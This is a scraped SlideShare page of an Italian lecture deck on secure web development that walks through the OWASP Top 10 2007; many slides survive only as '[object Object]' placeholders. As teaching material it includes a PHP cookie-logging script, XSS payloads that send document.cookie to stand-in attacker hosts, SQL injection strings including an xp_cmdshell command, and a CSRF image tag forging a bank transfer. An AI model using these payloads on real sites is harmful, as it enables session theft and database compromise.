SlideShare una empresa de Scribd logo
1 de 76
Sviluppo sicuro di Applicazioni WEB (Parte 3)
  Last….. TOP 10 Vulnerabilities
Cos ’ è OWASP Top 10 2007   OWASP Top 10 2007 è un progetto basato sulla classificazione delle 10 vulnerabilità maggiormente critiche estratte dal MITRE (MITRE Corporation not-for-profit organization) Vulnerability Trends 2006, nell ’ ambito delle Web Application. L ’ obiettivo principale è quello di sensibilizzare il mondo dell ’ IT (e non solo) sulle conseguenze che queste vulnerabilità possono avere sul business aziendale, sulla propria privacy e su quella degli altri.
  Statistiche IBM
  Statistiche IBM
  Statistiche IBM
Cos ’ è OWASP Top 10 2007   Distribuzione delle tipologie di attacchi
Cos ’ è OWASP Top 10 2007   A1 - Cross Site Scripting (XSS) A2 - Injection Flaws A3 - Malicious File Execution A4 - Insecure Direct Object Reference A5 - Cross Site Request Forgery (CSRF) A6 - Information Leakage / Improper Error Handling A7 - Broken Authentication and Session Management A8 - Insecure Cryptographic Storage A9 - Insecure Communications A10 - Failure to Restrict URL Access
Top 10 2007 in dettaglio 1/10   Cross Site Scripting (XSS) Una vulnerabilità Cross Site Scripting (XSS) si verifica quando un ’ applicazione riceve dati forniti dall ’ utente senza effettuare alcun tipo di validazione del contenuto; nel restituire tali dati all'utente essi vengono interpretati dal browser consentendo l ’ esecuzione di codice malevolo lato client.
  Cross Site Scripting (XSS) ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 1/10
  Top 10 2007 in dettaglio 1/10
  Top 10 2007 in dettaglio 1/10 <?php
  $filename = &quot;cookie.txt&quot;;
  if (isset($_GET[&quot;cookie&quot;]))
  {
    if (!$handle = fopen($filename, 'a'))
    {
      echo &quot;Errore: impossibile scrivere il file&quot;;
      exit;
    }
    else
    {
      if (fwrite($handle, &quot;&quot; . $_GET[&quot;cookie&quot;]) === FALSE)
      {
        echo &quot;Errore durante la scrittura&quot;;
        exit;
      }
    }
    echo &quot;Scrittura effettuata con successo =D&quot;; 
    fclose($handle);
    exit;
  }
  echo &quot;Niente da scrivere&quot;;
  exit;
  ?> //PS. mi scuso con l'autore dello script se non cito la 
           fonte ma non ricordo proprio dove l'ho preso :S Immaginate che l ’ attaccante inietti in un forum  qualcosa del tipo: Ciao <script>document.location= www.nostrosito.com/log.php?cookie='+escape(document.cookie) </script> La vittima visita la pagina    si creerebbe  www.nostrosito.com/cookie.txt contenente i cookie della nostra vittima del sito  da cui sfruttiamo l'xss.</script> Considerate qualcosa del tipo:
  Top 10 2007 in dettaglio 1/10 <a href= “ http://www.my-banca.it/welcome.cgi?name=<script>window.open ( “ http://www.attacker. site/collect.cgi?cookie= ” %2Bdocument.cookie)</script> ”  > Ciao </a> Malicious Link: pensate di inviare alla vittima una mail - magari mascherata come  informativa della banca - con un link del tipo: La risposta del server sarà:  <HTML> <Title>Welcome!</Title> Hi  <script> window.open( “ http://www.attacker.site/collect.cgi?cookie= ” +do cument.cookie)</script> <BR>Welcome to our system  </HTML>  Notare la pericolosità: la vittima si collega al sito della sua banca………..
  ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 1/10
  ,[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 1/10
  C Esempio di Cross Site Scripting Top 10 2007 in dettaglio 1/10
  Injection Flaws Le Injection Flaws sono vulnerabilità relative all ’ invio, da parte di un agente di minaccia, di input non validato, ad un interprete come comandi di sistema o query SQL. Top 10 2007 in dettaglio 2/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 2/10
  SQL Injection – Analisi Tabelle Username = ' having1=1 --  Password = pippo  Select userName from users where userName= ‘’   HAVING 1=1 -- Nel caso specifico la keyword  having  genera un errore avente al suo interno il nome della colonna.  Error Type: Microsoft OLE DB ProviderforSQL Server (0x80040E14) Column'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no  GROUP BY clause.  /securityloginrespond.asp, line 24  Top 10 2007 in dettaglio 2/10
  SQL Injection – Analisi colonne Username = ' UNION SELECT * FROM users GROUP BY userName-- Password = pippo  Select userName from users where userName=  ‘ ' UNION SELECT * FROM users GROUP BY userName–  Utilizzando la keyword groupby è invece possibile ricavare  i nomi dei campi della tabella.  Error Type: Microsoft OLE DB Provider for SQL Server (0x80040E14) Column'users.userId' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.  /securityloginrespond.asp, line 24  Top 10 2007 in dettaglio 2/10
  SQL Injection – Inserimento Dati Username = '; insert into users (userName, userPass) VALUES ( ‘ test', ‘ test') -- Password = pippo  Select userName from users where userName=  ‘ '; insert into users (userName, userPass) VALUES ( ‘ test', ‘ test') --  Top 10 2007 in dettaglio 2/10
  SQL Injection – Utilizzo di Macro Username = ' union select @@version – Password = pippo  Select userName from users where userName=  ‘ ' union select @@version – Logged In As Microsoft SQL Server 2000 -8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build2195: Service Pack 4) ' or 1 in (SELECT @@servername FROM users) -- Microsoft OLE DB Provider for SQL Server (0x80040E07) Syntax error converting the nvarchar valu e'SERVER2000' to a column of data type int.  Top 10 2007 in dettaglio 2/10
  SQL Injection – Esecuzione di Comandi Username: ' execmaster..xp-cmdshell 'dir > c:netpubwwrootlah.txt'-- Password: pippo  Select userName from users where userName=  ‘ ' execmaster..xp-cmdshell 'dir > c:netpubwwrootlah.txt ’ -- Possibilità di eseguire comandi solo nel caso in cui l ’ utente utilizzato per l ’ accesso al database sia sa. Top 10 2007 in dettaglio 2/10
  SQL Injection – Esempio Top 10 2007 in dettaglio 2/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 2/10
  ,[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 2/10
  Esempio di SQL Injection Top 10 2007 in dettaglio 2/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 3/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 3/10
  ,[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 3/10
  Esempio di Malicius File Execution Top 10 2007 in dettaglio 3/10
  Insecure Direct Object Reference Un ’ Insecure Direct Object Reference si verifica quando nell ’ applicazione sono presenti elementi liberamente manipolabili (file, directory, record database) che consentono di risalire ad ulteriori informazioni che possono portare ad un ’ escalation di privilegi o all ’ acquisizione di dati critici. Top 10 2007 in dettaglio 4/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 4/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 4/10
  ,[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 4/10
  Esempio di Insecure Direct Object Reference  Top 10 2007 in dettaglio 4/10
  Cross Site Request Forgery (CSRF) Un attacco di tipo Cross Site Request Forgery è mirato  a forzare il Browser di una vittima ad eseguire operazioni da lui non espressamente richieste  sfruttando vulnerabilità applicative come una non corretta implementazione delle sessioni ed un passaggio dei parametri e dei rispettivi valori di una richiesta attraverso l ’ uso del metodo GET. Nota la differenza con XSS: nel csrf è la vittima che viene forzata a compiere un ’ azione, con xss è l ’ attaccante che si impadronisce dell ’ identità della vittima e richiede javascript. Inoltre: xss richiede che un sito accetti malicious code, mentre con CSRF il codice malevole è in un sito di terze parte. Top 10 2007 in dettaglio 5/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 5/10
  Anatomia di un attacco Cross Site Request Forgery (CSRF) 1/3 Top 10 2007 in dettaglio 5/10
  Anatomia di un attacco Cross Site Request Forgery (CSRF) 2/3 Top 10 2007 in dettaglio 5/10
  Anatomia di un attacco Cross Site Request Forgery (CSRF) 3/3 Top 10 2007 in dettaglio 5/10
  Supponiamo che l'utente Alice stia navigando su un forum, o un blog, o stia visualizzando una mail in formato HTML dove l'utente Bob ha postato un'immagine malevola così forgiata: <img src=&quot;http://bancadialice.com/prelievo.php?da=conto_alice&a=conto_bob&quot; alt=&quot;Errore nella visualizzazione dell'immagine ” > Top 10 2007 in dettaglio 5/10 Supponiamo ora che Alice sia autenticata in quel momento sul sito della sua banca, quindi sul suo computer sia presente un cookie che testimonia l'avvenuta autenticazione. In tal caso, la richiesta effettuata sarà perfettamente valida, e l'URL in questione eseguito da Alice con ovvie conseguenze. In genere questo tipo di attacchi vengono perpetrati attraverso immagini o iframe &quot;abusivi&quot; nel codice. X
  ,[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 5/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 5/10
  ,[object Object],[object Object],Top 10 2007 in dettaglio 5/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 5/10
  Esempio di Cross Site Request Forgery (CSRF)  Top 10 2007 in dettaglio 5/10
  Information Leakage and Improper Error Handling Information Leakage e Improper Error Handling si verificano spesso in presenza di Web Application non correttamente sviluppate che consentono l ’ acquisizione d ’ informazioni utilizzabili in un secondo momento da un agente di minaccia per effettuare un attacco mirato all ’ applicazione o al sistema server. Top 10 2007 in dettaglio 6/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 6/10
  Information Leakage and Improper Error Handling Top 10 2007 in dettaglio 6/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 6/10
  ,[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 6/10
  Esempio di Information Leakage e Improper Error Hendling Top 10 2007 in dettaglio 6/10
  Broken Authentication and Session Management Broken Authentication e Session Management sono vulnerabilità riconducibili ad un ’ errata implementazione della gestione delle credenziali di accesso e/o delle chiavi di sessioni che rendono possibili accessi non autorizzati all ’ applicazione tramite l ’ impersonificazione di altre identità vittima. URL Rewriting Top 10 2007 in dettaglio 7/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 7/10
  Broken Authentication and Session Management Top 10 2007 in dettaglio 7/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 7/10
  ,[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 7/10
  Esempio di Broken Authentication and Session Management Top 10 2007 in dettaglio 7/10
  Insecure Cryptographic Storage L ’ Insecure Cryptographic Storage è una vulnerabilità causata dalla non corretta conservazione dei dati e dall ’ errata implementazione delle funzioni applicative create allo scopo di proteggere tali informazioni. Top 10 2007 in dettaglio 8/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 8/10
  Insecure Cryptographic Storage Top 10 2007 in dettaglio 8/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 8/10
  ,[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 8/10
  Esempio di Insecure Cryptographic Storage   Top 10 2007 in dettaglio 8/10
  Insecure Communications Le Insecure Communications consentono ad un agente di minaccia di intercettare informazioni come credenziali di accesso e informazioni riservate in transito su canali privi di cifratura (plaintext). Top 10 2007 in dettaglio 9/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 9/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 9/10
  Esempio di Insecure Communications Top 10 2007 in dettaglio 9/10
  Failure to Restrict URL Access Si verifica quando per proteggere aree di una web application non visibili ad utenti non autorizzati si fa affidamento esclusivamente ad un approccio di tipo  “ security by obscurity ”  poiché si tende a pensare che ciò che non è direttamente visibile non possa essere in alcun modo raggiunto e sfruttato da un agente di minaccia. Top 10 2007 in dettaglio 10/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 10/10
  Failure to Restrict URL Access Top 10 2007 in dettaglio 10/10
  ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 10/10
  ,[object Object],[object Object],[object Object],[object Object],Top 10 2007 in dettaglio 10/10
  Esempio di Failure to Restrict URL Access Top 10 2007 in dettaglio 10/10
Domande?   Grazie per l ’ attenzione  Claudio Di Giovanni [email_address]

Más contenido relacionado

La actualidad más candente

Mobile Application Penetration Testing Giordano Giammaria
Mobile Application Penetration Testing Giordano GiammariaMobile Application Penetration Testing Giordano Giammaria
Mobile Application Penetration Testing Giordano GiammariaGiammaria Giordano
 
Mamma, da grande voglio essere un Penetration Tester HackInBo 2016 Winter
Mamma, da grande voglio essere un Penetration Tester HackInBo  2016 WinterMamma, da grande voglio essere un Penetration Tester HackInBo  2016 Winter
Mamma, da grande voglio essere un Penetration Tester HackInBo 2016 WinterSimone Onofri
 
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Simone Onofri
 
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Codemotion
 
Meetmagento 2014 hackers_onofri
Meetmagento 2014 hackers_onofriMeetmagento 2014 hackers_onofri
Meetmagento 2014 hackers_onofriSimone Onofri
 
CMS - Analisi Vulnerabilità
CMS - Analisi VulnerabilitàCMS - Analisi Vulnerabilità
CMS - Analisi Vulnerabilitàraffaele_forte
 

La actualidad más candente (7)

Mobile Application Penetration Testing Giordano Giammaria
Mobile Application Penetration Testing Giordano GiammariaMobile Application Penetration Testing Giordano Giammaria
Mobile Application Penetration Testing Giordano Giammaria
 
Mamma, da grande voglio essere un Penetration Tester HackInBo 2016 Winter
Mamma, da grande voglio essere un Penetration Tester HackInBo  2016 WinterMamma, da grande voglio essere un Penetration Tester HackInBo  2016 Winter
Mamma, da grande voglio essere un Penetration Tester HackInBo 2016 Winter
 
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
 
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
 
Sicurezza nelle web apps
Sicurezza nelle web appsSicurezza nelle web apps
Sicurezza nelle web apps
 
Meetmagento 2014 hackers_onofri
Meetmagento 2014 hackers_onofriMeetmagento 2014 hackers_onofri
Meetmagento 2014 hackers_onofri
 
CMS - Analisi Vulnerabilità
CMS - Analisi VulnerabilitàCMS - Analisi Vulnerabilità
CMS - Analisi Vulnerabilità
 

Similar a Owasp parte3

Web Application Insecurity Uncensored
Web Application Insecurity UncensoredWeb Application Insecurity Uncensored
Web Application Insecurity Uncensoredjekil
 
Enrico Zimuel: La sicurezza delle applicazioni in PHP
Enrico Zimuel: La sicurezza delle applicazioni in PHPEnrico Zimuel: La sicurezza delle applicazioni in PHP
Enrico Zimuel: La sicurezza delle applicazioni in PHPFrancesco Fullone
 
Web Application Insecurity L D2007
Web Application Insecurity  L D2007Web Application Insecurity  L D2007
Web Application Insecurity L D2007jekil
 
Aumentiamo la sicurezza in TYPO3
Aumentiamo la sicurezza in TYPO3Aumentiamo la sicurezza in TYPO3
Aumentiamo la sicurezza in TYPO3Mauro Lorenzutti
 
Web Application Security: Bug Hunting e Code Review
Web Application Security: Bug Hunting e Code ReviewWeb Application Security: Bug Hunting e Code Review
Web Application Security: Bug Hunting e Code ReviewAntonio Parata
 
Sicurezza Informatica e Hacking - Università di Teramo 23/10/2015
Sicurezza Informatica e Hacking - Università di Teramo 23/10/2015Sicurezza Informatica e Hacking - Università di Teramo 23/10/2015
Sicurezza Informatica e Hacking - Università di Teramo 23/10/2015Pawel Zorzan Urban
 
Sviluppo di servizi REST per Android - Luca Masini
Sviluppo di servizi REST per Android - Luca Masini Sviluppo di servizi REST per Android - Luca Masini
Sviluppo di servizi REST per Android - Luca Masini Whymca
 
SVILUPPO DI SERVIZI REST PER ANDROID
SVILUPPO DI SERVIZI REST PER ANDROIDSVILUPPO DI SERVIZI REST PER ANDROID
SVILUPPO DI SERVIZI REST PER ANDROIDLuca Masini
 
Hackers vs. Developers: HTML5 Security by Simone Onofri
Hackers vs. Developers: HTML5 Security by Simone OnofriHackers vs. Developers: HTML5 Security by Simone Onofri
Hackers vs. Developers: HTML5 Security by Simone OnofriCodemotion
 
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.Stefano Bianchini
 
MongoDB User Group Padova - Overviews iniziale su MongoDB
MongoDB User Group Padova - Overviews iniziale su MongoDBMongoDB User Group Padova - Overviews iniziale su MongoDB
MongoDB User Group Padova - Overviews iniziale su MongoDBStefano Dindo
 
Sql Injection: attacchi e rimedi
Sql Injection: attacchi e rimediSql Injection: attacchi e rimedi
Sql Injection: attacchi e rimediDavide Micale
 
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del ControllerASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del ControllerManuel Scapolan
 
Asp.net 4 Community Tour VS2010
Asp.net 4 Community Tour VS2010Asp.net 4 Community Tour VS2010
Asp.net 4 Community Tour VS2010Fabrizio Bernabei
 

Similar a Owasp parte3 (20)

Web Application Insecurity Uncensored
Web Application Insecurity UncensoredWeb Application Insecurity Uncensored
Web Application Insecurity Uncensored
 
Enrico Zimuel: La sicurezza delle applicazioni in PHP
Enrico Zimuel: La sicurezza delle applicazioni in PHPEnrico Zimuel: La sicurezza delle applicazioni in PHP
Enrico Zimuel: La sicurezza delle applicazioni in PHP
 
Web Application Insecurity L D2007
Web Application Insecurity  L D2007Web Application Insecurity  L D2007
Web Application Insecurity L D2007
 
Aumentiamo la sicurezza in TYPO3
Aumentiamo la sicurezza in TYPO3Aumentiamo la sicurezza in TYPO3
Aumentiamo la sicurezza in TYPO3
 
Web Application Security: Bug Hunting e Code Review
Web Application Security: Bug Hunting e Code ReviewWeb Application Security: Bug Hunting e Code Review
Web Application Security: Bug Hunting e Code Review
 
Sicurezza Informatica e Hacking - Università di Teramo 23/10/2015
Sicurezza Informatica e Hacking - Università di Teramo 23/10/2015Sicurezza Informatica e Hacking - Università di Teramo 23/10/2015
Sicurezza Informatica e Hacking - Università di Teramo 23/10/2015
 
Php mysql3
Php mysql3Php mysql3
Php mysql3
 
Java lezione 14
Java lezione 14Java lezione 14
Java lezione 14
 
Novità di Asp.Net 4.0
Novità di Asp.Net 4.0Novità di Asp.Net 4.0
Novità di Asp.Net 4.0
 
Sviluppo di servizi REST per Android - Luca Masini
Sviluppo di servizi REST per Android - Luca Masini Sviluppo di servizi REST per Android - Luca Masini
Sviluppo di servizi REST per Android - Luca Masini
 
SVILUPPO DI SERVIZI REST PER ANDROID
SVILUPPO DI SERVIZI REST PER ANDROIDSVILUPPO DI SERVIZI REST PER ANDROID
SVILUPPO DI SERVIZI REST PER ANDROID
 
Hackers vs. Developers: HTML5 Security by Simone Onofri
Hackers vs. Developers: HTML5 Security by Simone OnofriHackers vs. Developers: HTML5 Security by Simone Onofri
Hackers vs. Developers: HTML5 Security by Simone Onofri
 
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
 
Bach Per Chi Non C Era Parte I
Bach Per Chi Non C Era Parte IBach Per Chi Non C Era Parte I
Bach Per Chi Non C Era Parte I
 
MongoDB User Group Padova - Overviews iniziale su MongoDB
MongoDB User Group Padova - Overviews iniziale su MongoDBMongoDB User Group Padova - Overviews iniziale su MongoDB
MongoDB User Group Padova - Overviews iniziale su MongoDB
 
Sql Injection: attacchi e rimedi
Sql Injection: attacchi e rimediSql Injection: attacchi e rimedi
Sql Injection: attacchi e rimedi
 
HTML5 Security
HTML5 SecurityHTML5 Security
HTML5 Security
 
sicurezza e php
sicurezza e phpsicurezza e php
sicurezza e php
 
ASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del ControllerASP.NET MVC3 - Tutti i compiti del Controller
ASP.NET MVC3 - Tutti i compiti del Controller
 
Asp.net 4 Community Tour VS2010
Asp.net 4 Community Tour VS2010Asp.net 4 Community Tour VS2010
Asp.net 4 Community Tour VS2010
 

Owasp parte3

  • 1. Sviluppo sicuro di Applicazioni WEB (Parte 3)
  • 2. Last….. TOP 10 Vulnerabilities
  • 3. Cos ’ è OWASP Top 10 2007 OWASP Top 10 2007 è un progetto basato sulla classificazione delle 10 vulnerabilità maggiormente critiche estratte dal MITRE (MITRE Corporation not-for-profit organization) Vulnerability Trends 2006, nell ’ ambito delle Web Application. L ’ obiettivo principale è quello di sensibilizzare il mondo dell ’ IT (e non solo) sulle conseguenze che queste vulnerabilità possono avere sul business aziendale, sulla propria privacy e su quella degli altri.
  • 7. Cos ’ è OWASP Top 10 2007 Distribuzione delle tipologie di attacchi
  • 8. Cos ’ è OWASP Top 10 2007 A1 - Cross Site Scripting (XSS) A2 - Injection Flaws A3 - Malicious File Execution A4 - Insecure Direct Object Reference A5 - Cross Site Request Forgery (CSRF) A6 - Information Leakage / Improper Error Handling A7 - Broken Authentication and Session Management A8 - Insecure Cryptographic Storage A9 - Insecure Communications A10 - Failure to Restrict URL Access
  • 9. Top 10 2007 in dettaglio 1/10 Cross Site Scripting (XSS) Una vulnerabilità Cross Site Scripting (XSS) si verifica quando un ’ applicazione riceve dati forniti dall ’ utente senza effettuare alcun tipo di validazione del contenuto; nel restituire tali dati all'utente essi vengono interpretati dal browser consentendo l ’ esecuzione di codice malevolo lato client.
  • 10.
  • 11. Top 10 2007 in dettaglio 1/10
  • 12. Top 10 2007 in dettaglio 1/10 <?php
  $filename = &quot;cookie.txt&quot;;
  if (isset($_GET[&quot;cookie&quot;]))
  {
    if (!$handle = fopen($filename, 'a'))
    {
      echo &quot;Errore: impossibile scrivere il file&quot;;
      exit;
    }
    else
    {
      if (fwrite($handle, &quot;&quot; . $_GET[&quot;cookie&quot;]) === FALSE)
      {
        echo &quot;Errore durante la scrittura&quot;;
        exit;
      }
    }
    echo &quot;Scrittura effettuata con successo =D&quot;; 
    fclose($handle);
    exit;
  }
  echo &quot;Niente da scrivere&quot;;
  exit;
  ?> //PS. mi scuso con l'autore dello script se non cito la 
           fonte ma non ricordo proprio dove l'ho preso :S Immaginate che l ’ attaccante inietti in un forum qualcosa del tipo: Ciao <script>document.location= www.nostrosito.com/log.php?cookie='+escape(document.cookie) </script> La vittima visita la pagina  si creerebbe www.nostrosito.com/cookie.txt contenente i cookie della nostra vittima del sito da cui sfruttiamo l'xss.</script> Considerate qualcosa del tipo:
  • 13. Top 10 2007 in dettaglio 1/10 <a href= “ http://www.my-banca.it/welcome.cgi?name=<script>window.open ( “ http://www.attacker. site/collect.cgi?cookie= ” %2Bdocument.cookie)</script> ” > Ciao </a> Malicious Link: pensate di inviare alla vittima una mail - magari mascherata come informativa della banca - con un link del tipo: La risposta del server sarà: <HTML> <Title>Welcome!</Title> Hi <script> window.open( “ http://www.attacker.site/collect.cgi?cookie= ” +do cument.cookie)</script> <BR>Welcome to our system </HTML> Notare la pericolosità: la vittima si collega al sito della sua banca………..
  • 14.
  • 15.
  • 16. C Esempio di Cross Site Scripting Top 10 2007 in dettaglio 1/10
  • 17. Injection Flaws Le Injection Flaws sono vulnerabilità relative all ’ invio, da parte di un agente di minaccia, di input non validato, ad un interprete come comandi di sistema o query SQL. Top 10 2007 in dettaglio 2/10
  • 18.
  • 19. SQL Injection – Analisi Tabelle Username = ' having1=1 -- Password = pippo Select userName from users where userName= ‘’ HAVING 1=1 -- Nel caso specifico la keyword having genera un errore avente al suo interno il nome della colonna. Error Type: Microsoft OLE DB ProviderforSQL Server (0x80040E14) Column'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /securityloginrespond.asp, line 24 Top 10 2007 in dettaglio 2/10
  • 20. SQL Injection – Analisi colonne Username = ' UNION SELECT * FROM users GROUP BY userName-- Password = pippo Select userName from users where userName= ‘ ' UNION SELECT * FROM users GROUP BY userName– Utilizzando la keyword groupby è invece possibile ricavare i nomi dei campi della tabella. Error Type: Microsoft OLE DB Provider for SQL Server (0x80040E14) Column'users.userId' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /securityloginrespond.asp, line 24 Top 10 2007 in dettaglio 2/10
  • 21. SQL Injection – Inserimento Dati Username = '; insert into users (userName, userPass) VALUES ( ‘ test', ‘ test') -- Password = pippo Select userName from users where userName= ‘ '; insert into users (userName, userPass) VALUES ( ‘ test', ‘ test') -- Top 10 2007 in dettaglio 2/10
  • 22. SQL Injection – Utilizzo di Macro Username = ' union select @@version – Password = pippo Select userName from users where userName= ‘ ' union select @@version – Logged In As Microsoft SQL Server 2000 -8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build2195: Service Pack 4) ' or 1 in (SELECT @@servername FROM users) -- Microsoft OLE DB Provider for SQL Server (0x80040E07) Syntax error converting the nvarchar valu e'SERVER2000' to a column of data type int. Top 10 2007 in dettaglio 2/10
  • 23. SQL Injection – Esecuzione di Comandi Username: ' execmaster..xp-cmdshell 'dir > c:netpubwwrootlah.txt'-- Password: pippo Select userName from users where userName= ‘ ' execmaster..xp-cmdshell 'dir > c:netpubwwrootlah.txt ’ -- Possibilità di eseguire comandi solo nel caso in cui l ’ utente utilizzato per l ’ accesso al database sia sa. Top 10 2007 in dettaglio 2/10
  • 24. SQL Injection – Esempio Top 10 2007 in dettaglio 2/10
  • 25.
  • 26.
  • 27. Esempio di SQL Injection Top 10 2007 in dettaglio 2/10
  • 28.
  • 29.
  • 30.
  • 31. Esempio di Malicius File Execution Top 10 2007 in dettaglio 3/10
  • 32. Insecure Direct Object Reference Un ’ Insecure Direct Object Reference si verifica quando nell ’ applicazione sono presenti elementi liberamente manipolabili (file, directory, record database) che consentono di risalire ad ulteriori informazioni che possono portare ad un ’ escalation di privilegi o all ’ acquisizione di dati critici. Top 10 2007 in dettaglio 4/10
  • 33.
  • 34.
  • 35.
  • 36. Esempio di Insecure Direct Object Reference Top 10 2007 in dettaglio 4/10
  • 37. Cross Site Request Forgery (CSRF) Un attacco di tipo Cross Site Request Forgery è mirato a forzare il Browser di una vittima ad eseguire operazioni da lui non espressamente richieste sfruttando vulnerabilità applicative come una non corretta implementazione delle sessioni ed un passaggio dei parametri e dei rispettivi valori di una richiesta attraverso l ’ uso del metodo GET. Nota la differenza con XSS: nel csrf è la vittima che viene forzata a compiere un ’ azione, con xss è l ’ attaccante che si impadronisce dell ’ identità della vittima e richiede javascript. Inoltre: xss richiede che un sito accetti malicious code, mentre con CSRF il codice malevole è in un sito di terze parte. Top 10 2007 in dettaglio 5/10
  • 38.
  • 39. Anatomia di un attacco Cross Site Request Forgery (CSRF) 1/3 Top 10 2007 in dettaglio 5/10
  • 40. Anatomia di un attacco Cross Site Request Forgery (CSRF) 2/3 Top 10 2007 in dettaglio 5/10
  • 41. Anatomia di un attacco Cross Site Request Forgery (CSRF) 3/3 Top 10 2007 in dettaglio 5/10
  • 42. Supponiamo che l'utente Alice stia navigando su un forum, o un blog, o stia visualizzando una mail in formato HTML dove l'utente Bob ha postato un'immagine malevola così forgiata: <img src=&quot;http://bancadialice.com/prelievo.php?da=conto_alice&a=conto_bob&quot; alt=&quot;Errore nella visualizzazione dell'immagine ” > Top 10 2007 in dettaglio 5/10 Supponiamo ora che Alice sia autenticata in quel momento sul sito della sua banca, quindi sul suo computer sia presente un cookie che testimonia l'avvenuta autenticazione. In tal caso, la richiesta effettuata sarà perfettamente valida, e l'URL in questione eseguito da Alice con ovvie conseguenze. In genere questo tipo di attacchi vengono perpetrati attraverso immagini o iframe &quot;abusivi&quot; nel codice. X
  • 43.
  • 44.
  • 45.
  • 46.
  • 47. Esempio di Cross Site Request Forgery (CSRF) Top 10 2007 in dettaglio 5/10
